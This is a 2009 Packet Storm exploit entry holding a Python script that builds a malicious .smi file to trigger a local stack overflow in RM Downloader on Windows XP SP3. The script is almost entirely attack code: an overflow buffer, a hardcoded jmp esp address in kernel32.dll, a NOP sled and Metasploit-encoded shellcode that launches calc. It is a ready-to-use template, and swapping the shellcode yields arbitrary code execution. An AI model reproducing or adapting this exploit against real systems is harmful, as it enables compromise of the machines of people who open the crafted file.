RM Downloader Local Stack Overflow

2009-05-03T00:00:00
ID PACKETSTORM:77203
Type packetstorm
Reporter ThE g0bL!N
Modified 2009-05-03T00:00:00

Description

                                        
                                            `#usage: exploit.py  
print "**************************************************************************"  
print " RM Downloader (.smi) Local Stack Overflow\n"  
print " Exploit code: ThE g0bL!N"  
print " Tested on: Windows XP Pro SP3 (EN)\n"  
print " greetz: His0k4 Dos-Dz TeaM-Snakes Team and all My friend\n"  
print "**************************************************************************"  
  
buff = "\x41" * 26083  
jump = "\x5D\x38\x82\x7C" # jmp esp kernel32.dll  
nops = "\x90"*6  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode = (  
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b"  
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3"  
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff"  
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb"  
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0"  
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92"  
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d"  
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde"  
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2"  
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6")  
  
  
exploit = buff + jump + nops + shellcode  
  
try:  
out_file = open("exploit.smi",'w')  
out_file.write(exploit+"\r\n")  
out_file.close()  
raw_input("\nExploit file created!\n")  
except:  
print "Error"  
  
`